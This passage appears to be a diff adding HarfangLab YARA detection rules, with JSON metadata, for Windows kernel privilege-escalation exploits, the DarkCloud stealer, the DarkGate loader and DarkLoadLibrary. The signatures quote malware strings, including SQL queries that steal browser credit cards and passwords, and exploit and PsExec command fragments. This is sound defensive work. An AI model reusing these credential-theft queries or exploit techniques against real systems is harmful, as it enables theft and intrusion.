= \"Got Winlogon handle: 0x%x\" ascii fullword\n\n        $pdb1 = \"\\\\CVE-2024-30088\\\\x86\\\\Debug\\\\poc.pdb\" ascii\n        $pdb2 = \"\\\\CVE-2024-30088\\\\x86\\\\Release\\\\poc.pdb\" ascii\n        $pdb3 = \"\\\\CVE-2024-30088\\\\x64\\\\Debug\\\\poc.pdb\" ascii\n        $pdb4 = \"\\\\CVE-2024-30088\\\\x64\\\\Release\\\\poc.pdb\" ascii\n        $pdb5 = \"\\\\CVE-2024-30088-main\\\\x86\\\\Debug\\\\poc.pdb\" ascii\n        $pdb6 = \"\\\\CVE-2024-30088-main\\\\x86\\\\Release\\\\poc.pdb\" ascii\n        $pdb7 = \"\\\\CVE-2024-30088-main\\\\x64\\\\Debug\\\\poc.pdb\" ascii\n        $pdb8 = \"\\\\CVE-2024-30088-main\\\\x64\\\\Release\\\\poc.pdb\" ascii\n\n        $x1_x64 = {\n            48 8B ?? ?? ?? 00 00          // mov     rax, cs:qword_140005668\n            48 8B ?? ?? ?? 00 00          // mov     rcx, cs:qword_140005670\n            48 83 C1 3C                   // add     rcx, 3Ch ; '<'\n            66 C7 40 02 02 00             // mov     word ptr [rax+2], 2\n            48 89 48 08                   // mov     [rax+8], rcx\n            C3                            // retn\n        }\n        $x1_x32 = {\n            8B 15 ?? ?? ?? 00             // mov     edx, dword_4043C0\n            A1 ?? ?? ?? 00                // mov     eax, dword_4043B8\n            83 C2 3C                      // add     edx, 3Ch ; '<'\n            8B 0D ?? ?? ?? 00             // mov     ecx, dword_4043C4\n            83 D1 00                      // adc     ecx, 0\n            89 48 0C                      // mov     [eax+0Ch], ecx\n            B9 02 00 00 00                // mov     ecx, 2\n            89 50 08                      // mov     [eax+8], edx\n            66 89 48 02                   // mov     [eax+2], cx\n            C3                            // retn\n        }\n\n        $x2_x64 = {\n            4C 8B ?? ?? ?? 00 00          // mov     r8, cs:qword_140005680\n            41 B9 00 10 00 00             // mov     r9d, 1000h\n            48 8B ?? ?? ?? 00 00          // mov     rcx, cs:hObject\n            BA 16 00 00 00                // mov     edx, 16h\n            4C 89 7C 24 20                // mov     qword ptr [rsp+350h+dwCreationFlags], r15\n            FF ?? ?? ?? 00 00             // call    cs:qword_140005690\n            48 83 EB 01                   // sub     rbx, 1\n            75 D6                         // jnz     short loc_1400012F3\n        }\n        $x2_x32 = {\n            68 ?? ?? ?? 00                // push    offset unk_4043D4\n            68 00 10 00 00                // push    1000h\n            FF 35 ?? ?? ?? 00             // push    dword_4043C8\n            6A 16                         // push    16h\n            FF 35 ?? ?? ?? 00             // push    ArgList\n            FF 15 ?? ?? ?? 00             // call    dword_4043D0\n            83 C4 14                      // add     esp, 14h\n            83 EE 01                      // sub     esi, 1\n            75 DA                         // jnz     short loc_401330\n        }\n\n        $x3 = {\n                                    // loc_140011E73:\n            8B 45 24                      // mov     eax, [rbp+110h+var_EC]\n            FF C0                         // inc     eax\n            89 45 24                      // mov     [rbp+110h+var_EC], eax\n\n                                    // loc_140011E7B:\n            81 7D 24 00 00 01 00          // cmp     [rbp+110h+var_EC], 10000h\n            7D 21                         // jge     short loc_140011EA5\n            B8 02 00 00 00                // mov     eax, 2\n            48 8B ?? ?? ?? 00 00          // mov     rcx, cs:qword_14001E190\n            66 89 41 02                   // mov     [rcx+2], ax\n            48 8B ?? ?? ?? 00 00          // mov     rax, cs:qword_14001E190\n            48 8B 4D 08                   // mov     rcx, [rbp+110h+var_108]\n            48 89 48 08                   // mov     [rax+8], rcx\n            EB CE                         // jmp     short loc_140011E73\n        }\n\n    condition:\n        4 of ($s*) or\n        1 of ($pdb*) or\n        (1 of ($x1_*) and 1 of ($x2_*)) or\n        $x3\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "cve_2024_30088"
+  ],
+  "rule_creation_date": "2024-10-21",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Exploit.CVE-2024-30088"
+  ],
+  "rule_tactic_tags": [
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1068"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-cve-2024-35250_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.584366Z",
+  "creation_date": "2026-03-23T11:46:25.584368Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.584373Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/varwara/CVE-2024-35250\nhttps://devco.re/blog/2024/08/23/streaming-vulnerabilities-from-windows-kernel-proxying-to-kernel-part1-en/"
+  ],
+  "name": "cve-2024-35250.yar",
+  "content": "rule cve_2024_35250 {\n    meta:\n        title = \"CVE-2024-35250 LPE Exploitation\"\n        id = \"58120802-7f6a-4d9f-a7c3-01e17334fc2b\"\n        description = \"Detects payloads exploiting the CVE-2024-35250 LPE vulnerability.\\nThis vulnerability exploits an untrusted pointer dereference in the ks.sys driver, enabling local privilege escalation to System.\"\n        references = \"https://github.com/varwara/CVE-2024-35250\\nhttps://devco.re/blog/2024/08/23/streaming-vulnerabilities-from-windows-kernel-proxying-to-kernel-part1-en/\"\n        date = \"2024-10-17\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.privilege_escalation;attack.t1068;cve.2024-35250\"\n        classification = \"Windows.Exploit.CVE-2024-35250\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 44d35e6d14b860a90422e6fa3767aa78acbb559b7ab8adb8b9410fe24bd1092f\n        // 3aae2560d0ec2027b98fc48b879c46a73477125de2b21ace931bc92e254f6ed4\n        // 247aa6b2a76e7c2316dd339595e924c7bd06a45faea5072352e096db09a2ab09\n        // 308af6a404d8a91387ddab482a38fdf266e5f903d0e7ff4cac59ebc137ec288c\n\n        $s1 = \"[-] AllocateBitmap failed with error: %d\" ascii fullword\n        $s2 = \"[-] leak_gadget_address failed\" ascii fullword\n        $s3 = \"[-] KsOpenDefaultDevice at index %d failed with error = %x\" ascii fullword\n        $s4 = \"[!] Leveraging DKOM to achieve LPE\" ascii fullword\n\n        $wdm1 = \"RtlSetAllBits\" ascii fullword\n        $wdm2 = \"RtlClearAllBits\" ascii fullword\n\n        $x1 = { 03 00 2F 00 } // dwIoControlCode\n        $x2 = { 3F 6E BB FF FE CC 84 4D 90 D9 42 14 18 B0 3A 8E } // KSCATEGORY_DRM_DESCRAMBLE\n        $x3 = { DD 8D 2C 2F 98 41 AC 4F BA 29 61 BB 05 B7 DE 06 } // KSPROPSETID_DrmAudioStream\n\n    condition:\n        3 of ($s*) or\n        (\n            uint16(0) == 0x5A4D and\n            filesize < 1MB and\n            1 of ($wdm*) and\n            all of ($x*)\n        )\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "cve_2024_35250"
+  ],
+  "rule_creation_date": "2024-10-17",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Exploit.CVE-2024-35250"
+  ],
+  "rule_tactic_tags": [
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1068"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-cve-2024-38193_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.569860Z",
+  "creation_date": "2026-03-23T11:46:25.569862Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.569868Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://nvd.nist.gov/vuln/detail/cve-2024-38193\nhttps://blog.exodusintel.com/2024/12/02/windows-sockets-from-registered-i-o-to-system-privileges/\nhttps://github.com/killvxk/CVE-2024-38193-Nephster/blob/main/Poc/poc.cpp"
+  ],
+  "name": "cve-2024-38193.yar",
+  "content": "rule cve_2024_38193 {\n    meta:\n        title = \"CVE-2024-38193 LPE Exploitation\"\n        id = \"497e923c-9b65-4452-8d76-115fa6809120\"\n        description = \"Detects payloads exploiting the CVE-2024-38193 vulnerability that affects the default AFD.sys driver, responsible for kernel-mode support for the Windows socket (Winsock) interface used in network communication.\\nThis vulnerability can be exploited by attackers to elevate privileges to SYSTEM-level, potentially leading to full system compromise.\\nIt is recommended to check the system event logs for signs of unauthorized process creation or unusual activity related to the AFD.sys driver and apply the official Microsoft patch as soon as possible.\"\n        references = \"https://nvd.nist.gov/vuln/detail/cve-2024-38193\\nhttps://blog.exodusintel.com/2024/12/02/windows-sockets-from-registered-i-o-to-system-privileges/\\nhttps://github.com/killvxk/CVE-2024-38193-Nephster/blob/main/Poc/poc.cpp\"\n        date = \"2024-12-11\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.privilege_escalation;attack.t1068;cve.2024-38193\"\n        classification = \"Windows.Exploit.CVE-2024-38193\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // 51bf18ff4cd01571843d82c0dde8e30e6583cc5ca597afa2680d3e272955737b\n\n        $s1 = \"[ERORR] code: %x Couldnt PEEK data from the PIPE\" ascii fullword\n        $s2 = \"[ERROR] Unable to write value 2 to IM CBB.\" ascii fullword\n        $s3 = \"[*] Address of Active process link in _EPROCESS: %llx\" ascii fullword\n        $s4 = \"[*] System TOKEN: %llx\" ascii fullword\n\n        $afd_create1 = \"\\\\Device\\\\Afd\\\\Endpoint\" wide fullword\n        $afd_create2 = {\n            41 66 64 4F                // mov     [rbp+10h+var_58], 4F646641h\n            [2-4] 70 65 6E 50          // mov     [rbp+10h+var_54], 506E6570h\n            [2-4] 61 63 6B 65          // mov     [rbp+10h+var_50], 656B6361h\n            [2-4] 74 58 58 00          // mov     [rbp+10h+var_4C], 585874h\n            [2-4] 00 10 01 10          // mov     [rbp+10h+var_48], 10011000h\n            [2-4] 02 00 00 00          // mov     [rbp+10h+var_40], 2\n            [2-4] 01 00 00 00          // mov     [rbp+10h+var_3C], 1\n            [2-4] 06 00 00 00          // mov     [rbp+10h+var_38], 6\n            [2-4] 16 00 00 00          // mov     [rbp+10h+var_34], 16h\n            [2-4] 5C 00 44 00          // mov     [rbp+10h+var_30], 44005Ch\n            [2-4] 65 00 76 00          // mov     [rbp+10h+var_2C], 760065h\n            [2-4] 69 00 63 00          // mov     [rbp+10h+var_28], 630069h\n            [2-4] 65 00 5C 00          // mov     [rbp+10h+var_24], 5C0065h\n            [2-4] 54 00 63 00          // mov     [rbp+10h+var_20], 630054h\n            [2-4] 70 00 00 00          // mov     [rbp+10h+var_1C], 70h\n        }\n\n    condition:\n        3 of ($s*) or all of ($afd_create*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "cve_2024_38193"
+  ],
+  "rule_creation_date": "2024-12-11",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Exploit.CVE-2024-38193"
+  ],
+  "rule_tactic_tags": [
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1068"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-darkcloud_stealer_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.582381Z",
+  "creation_date": "2026-03-23T11:46:25.582385Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.582394Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://unit42.paloaltonetworks.com/darkcloud-stealer-and-obfuscated-autoit-scripting/\nhttps://unit42.paloaltonetworks.com/new-darkcloud-stealer-infection-chain/"
+  ],
+  "name": "darkcloud_stealer.yar",
+  "content": "rule darkcloud_stealer {\n    meta:\n        title = \"DarkCloud Stealer\"\n        id = \"0339c602-2d21-4180-bf7c-807114fa0f37\"\n        description = \"Detects DarkCloud, a Windows-based information stealer, that was first identified in 2022, known for stealing passwords, banking details, and other sensitive data.\\nIt is recommended to investigate the context around this alert to look for malicious actions.\"\n        references = \"https://unit42.paloaltonetworks.com/darkcloud-stealer-and-obfuscated-autoit-scripting/\\nhttps://unit42.paloaltonetworks.com/new-darkcloud-stealer-infection-chain/\"\n        date = \"2025-08-25\"\n        modified = \"2025-10-15\"\n        author = \"HarfangLab\"\n        tags = \"attack.credential_access;attack.t1555;attack.exfiltration;attack.t1048\"\n        classification = \"Windows.Stealer.DarkCloud\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x86,x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // ff83cbdb1e2d13c2b5b85bdbc2d87cfdfe96a115d97e4341024c7758747e80f1\n        // 5946bbf5dc0be29cccdd0e66b13d17cf776fc785c9b8d67b06cbb56c85bd5577\n        // 08f355fcbedbabe2e6c40ce27486149731495c7064732fe85faa0ad810f07856\n        // 38ff89e2b1d143d1710917e87c0a53c4886ff2295aefad2646c3791882ef8669\n\n        $darkcloud1 = \"===============DARKCLOUD===============\" wide fullword\n        $darkcloud2 = \"===============DCS V\" wide\n\n        $a1 = \"DC-Creds\" wide fullword\n        $a2 = \"\\\\keyDBPath.sqlite\" wide fullword\n        $a3 = \"\\\\recentservers.xml\" wide fullword\n        $a4 = \"Application :  FileZilla\" wide fullword\n        $a5 = \"KoreanLocalCard\" wide fullword\n        $a6 = \"^(6541|6556)[0-9]{12}$\" wide fullword\n        $a7 = \"SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted  FROM credit_cards\" wide fullword\n        $a8 = \"SELECT item1 FROM metadata WHERE id = 'password';\" wide fullword\n\n        $b1 = \"\\\\eM Client\\\\accounts.dat\" wide fullword\n        $b2 = \"SELECT key, value  FROM AccountsJson\" wide fullword\n        $b3 = \"MailClient.Accounts.CredentialsModelTypes\" wide fullword\n        $b4 = \"\\\\chrome_decrypt.zip\" wide fullword\n        $b5 = \"\\\\conversations.dat\" wide fullword\n        $b6 = \"@TITLE Removing\" wide fullword\n        $b7 = \"\\\\163MailContacts1.db\" wide fullword\n        $b8 = \"@StrFtpPass\" wide fullword\n\n    condition:\n        1 of ($darkcloud*) and (5 of ($a*) or 5 of ($b*))\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "darkcloud_stealer"
+  ],
+  "rule_creation_date": "2025-08-25",
+  "rule_modified_date": "2025-10-15",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Stealer.DarkCloud"
+  ],
+  "rule_tactic_tags": [
+    "attack.credential_access",
+    "attack.exfiltration"
+  ],
+  "rule_technique_tags": [
+    "attack.t1048",
+    "attack.t1555"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-darkgate_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.582652Z",
+  "creation_date": "2026-03-23T11:46:25.582653Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.582659Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://malpedia.caad.fkie.fraunhofer.de/details/win.darkgate"
+  ],
+  "name": "darkgate.yar",
+  "content": "rule darkgate {\n    meta:\n        title = \"DarkGate Loader\"\n        id = \"f6c31039-96c8-456a-9a75-0ace84d2b64f\"\n        description = \"Detects DarkGate, a loader with features that include the ability to download and execute files in memory, a Hidden Virtual Network Computing (HVNC) module, keylogging, information-stealing capabilities, and privilege escalation. DarkGate uses legitimate AutoIt files to execute AutoIt scripts for decoding and executing its final loader. This malware is commonly distributed through phishing campaigns.\\nIt is recommended to dump the affected process and investigate for any suspicious AutoIt scripts or network activities indicative of C2 communication.\"\n        references = \"https://malpedia.caad.fkie.fraunhofer.de/details/win.darkgate\"\n        date = \"2023-10-12\"\n        modified = \"2025-03-18\"\n        author = \"HarfangLab\"\n        tags = \"attack.credential_access;attack.t1555;attack.t1539;attack.defense_evasion;attack.t1140;attack.t1027;attack.collection;attack.t1005;attack.t1119;attack.command_and_control;attack.t1071.001;attack.t1132\"\n        classification = \"Windows.Loader.DarkGate\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // 301158ffb44a9824deeec16bdc7dabdc328b9f3ecde0df048741218285d8bcc8\n\n        $s1 = \"____padoru____\" ascii fullword\n        $s2 = \"/c xcopy /E /I /Y \\\"%s\\\" \\\"%s\\\" && exit\" ascii fullword\n        $s3 = \" --mute-audio --disable-audio --no-sandbox --new-window --disable-3d-apis --disable-gpu --disable-d3d11 --window-size=\"\n        $s4 = \"ventanas.txt\" ascii fullword\n        $s5 = \":9000 -u 0xDark\" ascii fullword\n        $s6 = \"/c c:\\\\temp\\\\PsExec.exe -accepteula -i -d -s\" ascii fullword\n        $s7 = \"http://darkgate.com\" ascii fullword\n\n        $decode_string = {\n            8B 45 ??                           // mov     eax, [rbp+var_8]\n            E8 ?? ?? ?? ??                     // call    sub_49EC\n            8B 55 ??                           // mov     edx, [rbp+var_10]\n            8A 4D ??                           // mov     cl, [rbp+var_14]\n            80 E1 3F                           // and     cl, 3Fh\n            C1 E1 02                           // shl     ecx, 2\n            8A 5D ??                           // mov     bl, [rbp+var_13]\n            80 E3 30                           // and     bl, 30h\n            81 E3 FF 00 00 00                  // and     ebx, 0FFh\n            C1 EB 04                           // shr     ebx, 4\n            02 CB                              // add     cl, bl\n            88 4C 10 FF                        // mov     [rax+rdx-1], cl\n            FF 45 ??                           // inc     [rbp+var_10]\n            80 7D ?? 40                        // cmp     [rbp+var_12], 40h\n            74 55                              // jz      short loc_33449\n            8B 45 ??                           // mov     eax, [rbp+var_8]\n            E8 ?? ?? ?? ??                     // call    sub_49EC\n            8B 55 ??                           // mov     edx, [rbp+var_10]\n            8A 4D ??                           // mov     cl, [rbp+var_13]\n            80 E1 0F                           // and     cl, 0Fh\n            C1 E1 04                           // shl     ecx, 4\n            8A 5D ??                           // mov     bl, [rbp+var_12]\n            80 E3 3C                           // and     bl, 3Ch\n            81 E3 FF 00 00 00                  // and     ebx, 0FFh\n            C1 EB 02                           // shr     ebx, 2\n            02 CB                              // add     cl, bl\n            88 4C 10 FF                        // mov     [rax+rdx-1], cl\n            FF 45 ??                           // inc     [rbp+var_10]\n            80 7D ?? 40                        // cmp     [rbp+var_11], 40h\n            74 23                              // jz      short loc_33449\n            8B 45 ??                           // mov     eax, [rbp+var_8]\n            E8 ?? ?? ?? ??                     // call    sub_49EC\n            8B 55 ??                           // mov     edx, [rbp+var_10]\n            8A 4D ??                           // mov     cl, [rbp+var_12]\n            80 E1 03                           // and     cl, 3\n            C1 E1 06                           // shl     ecx, 6\n            8A 5D ??                           // mov     bl, [rbp+var_11]\n            80 E3 3F                           // and     bl, 3Fh\n            02 CB                              // add     cl, bl\n            88 4C 10 FF                        // mov     [rax+rdx-1], cl\n            FF 45 ??                           // inc     [rbp+var_10]\n        }\n\n        $memory = {\n            53                                 // push    ebx\n            56                                 // push    esi\n            57                                 // push    edi\n            83 C4 E4                           // add     esp, 0FFFFFFE4h\n            8B F9                              // mov     edi, ecx\n            8B F2                              // mov     esi, edx\n            8B D8                              // mov     ebx, eax\n            33 C0                              // xor     eax, eax\n            89 04 24                           // mov     [esp+28h+var_28], eax\n            68 ?? ?? ?? ??                     // push    441A7CCh\n            A1 ?? ?? ?? ??                     // mov     eax, ds:4451660h\n            8B 00                              // mov     eax, [eax]\n            50                                 // push    eax\n            A1 ?? ?? ?? ??                     // mov     eax, ds:44515BCh\n            8B 00                              // mov     eax, [eax]\n            FF D0                              // call    eax\n\n            89 44 24 10                        // mov     [esp+28h+var_18], eax\n            68 ?? ?? ?? ??                     // push    441A7E0h\n            A1 ?? ?? ?? ??                     // mov     eax, ds:4451660h\n            8B 00                              // mov     eax, [eax]\n            50                                 // push    eax\n            A1 ?? ?? ?? ??                     // mov     eax, ds:44515BCh\n            8B 00                              // mov     eax, [eax]\n            FF D0                              // call    eax\n\n            89 44 24 0C                        // mov     [esp+28h+var_1C], eax\n            68 ?? ?? ?? ??                     // push    441A7F0h\n            A1 ?? ?? ?? ??                     // mov     eax, ds:4451660h\n            8B 00                              // mov     eax, [eax]\n            50                                 // push    eax\n            A1 ?? ?? ?? ??                     // mov     eax, ds:44515BCh\n            8B 00                              // mov     eax, [eax]\n            FF D0                              // call    eax\n\n            89 44 24 08                        // mov     [esp+28h+var_20], eax\n            8B D7                              // mov     edx, edi\n            8B C3                              // mov     eax, ebx\n            E8 ?? ?? FF FF                     // call    sub_3A000\n            89 44 24 18                        // mov     [esp+28h+var_10], eax\n            8B D6                              // mov     edx, esi\n            8B C3                              // mov     eax, ebx\n            E8 ?? ?? FF FF                     // call    sub_3A000\n            89 44 24 14                        // mov     [esp+28h+var_14], eax\n            6A 14                              // push    14h\n            6A 00                              // push    0\n            8D 4C 24 10                        // lea     ecx, [esp+30h+var_20]\n            BA ?? ?? ?? ??                     // mov     edx, 441A6E0h\n            8B C3                              // mov     eax, ebx\n        }\n\n    condition:\n        5 of ($s*) or\n        (1 of ($s*) and $decode_string) or\n        $memory\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "darkgate"
+  ],
+  "rule_creation_date": "2023-10-12",
+  "rule_modified_date": "2025-03-18",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Loader.DarkGate"
+  ],
+  "rule_tactic_tags": [
+    "attack.collection",
+    "attack.command_and_control",
+    "attack.credential_access",
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1140",
+    "attack.t1071.001",
+    "attack.t1027",
+    "attack.t1555",
+    "attack.t1119",
+    "attack.t1539",
+    "attack.t1132",
+    "attack.t1005"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-darkloadlibrary_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.585500Z",
+  "creation_date": "2026-03-23T11:46:25.585502Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.585508Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/bats3c/DarkLoadLibrary"
+  ],
+  "name": "darkloadlibrary.yar",
+  "content": "rule darkloadlibrary {\n    meta:\n        title = \"DarkLoadLibrary Technique\"\n        id = \"811bf6d2-1d59-4077-9e85-b901b95fc232\"\n        description = \"Detects the DarkLoadLibrary evasion technique.\\nDarkLoadLibrary is a redeveloped LoadLibrary function designed to avoid triggering the LoadImage kernel callback.\\nThis technique is used to bypass detection mechanisms of security products by modifying how libraries are loaded in memory.\\nIt is recommended to investigate the context around this alert to look for malicious actions.\"\n        references = \"https://github.com/bats3c/DarkLoadLibrary\"\n        date = \"2024-03-08\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.privilege_escalation;attack.t1055.001\"\n        classification = \"Windows.Generic.DarkLoadLibrary\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // 1986c6503eb77c68817f7ca38b6f1540dd1095bfa595f5d2c98d970eecec0848\n\n        $stub_hashSW2_darkloadlibrary= {\n            4? b? 99 11 19 63                  // mov     r10d, 63191199h\n            4? 8B ??                           // mov     rax, rdx\n            [0-12]                             // nop     dword ptr [rax+rax+00h]\n            0F B7 ??                           // movzx   eax, word ptr [rax]\n            4? 8B ??                           // mov     ecx, r10d\n            (C1|C0) ?? 08                      // ror     ecx, 8\n            4? ff ??                           // inc     r11d\n            03 ??                              // add     ecx, eax\n            4? 8B ??                           // mov     eax, r11d\n            4? 03 ??                           // add     rax, rdx\n            4? 33 ??                           // xor     r10d, ecx\n            80 ?? 00                           // cmp     byte ptr [rax], 0\n            [30-40]                            // place holder\n            ?? 8? ?? F4 01 00 00               // cmp     r8d, 1F4h\n        }\n\n        $stub_mapview_00 = {\n            4? 8b ?? 10                 // mov     rax, qword [rbx+0x10]\n            4? 8b ?? 30                 // mov     rcx, qword [rbx+0x30]\n            4? 8b ??                    // mov     edx, r8d\n            4? ff ??                    // inc     r8d\n            0f b? ?? ??                 // movzx   eax, byte [rdx+rax]\n            [2-4]                       // mov     byte [rdx+rcx], al\n            4? 3b ?? 54                 // cmp     r8d, dword [rdi+0x54]\n        }\n\n        $stub_mapview_01 = {\n            4? 8b ?? 04                 // mov     r8d, dword [r10+0x4]\n            4? 8b ?? fc                 // mov     edx, dword [r10-0x4]\n            